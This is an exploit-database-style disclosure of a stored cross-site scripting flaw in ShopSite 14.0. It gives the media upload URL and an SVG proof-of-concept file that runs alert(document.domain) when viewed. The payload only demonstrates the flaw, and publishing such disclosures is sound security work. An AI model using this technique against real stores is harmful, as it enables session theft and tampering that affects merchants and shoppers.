ShopSite version 14.0 suffers from a persistent cross site scripting vulnerability.
# Exploit Title: ShopSite Version: 14.0 - Stored XSS
# Date: 2023-12-25
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://www.shopsite.com/
# Version: 14.0
# Tested on: https://www.shopsite.com/demo.html
1 ) Upload poc.svg file here : https://demo.shopsite.com/cgi-bin/ssdemos/stores/alsdemo/ss/mediam.cgi
poc.svg
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
<script>//<![CDATA[
alert(document.domain)
//]]>
</script>
</svg>
2 ) Check here will be see alert button : https://a-demo-store.com/ssdemos/stores/alsdemo3/media/ss_sunglasses/aaa.svg
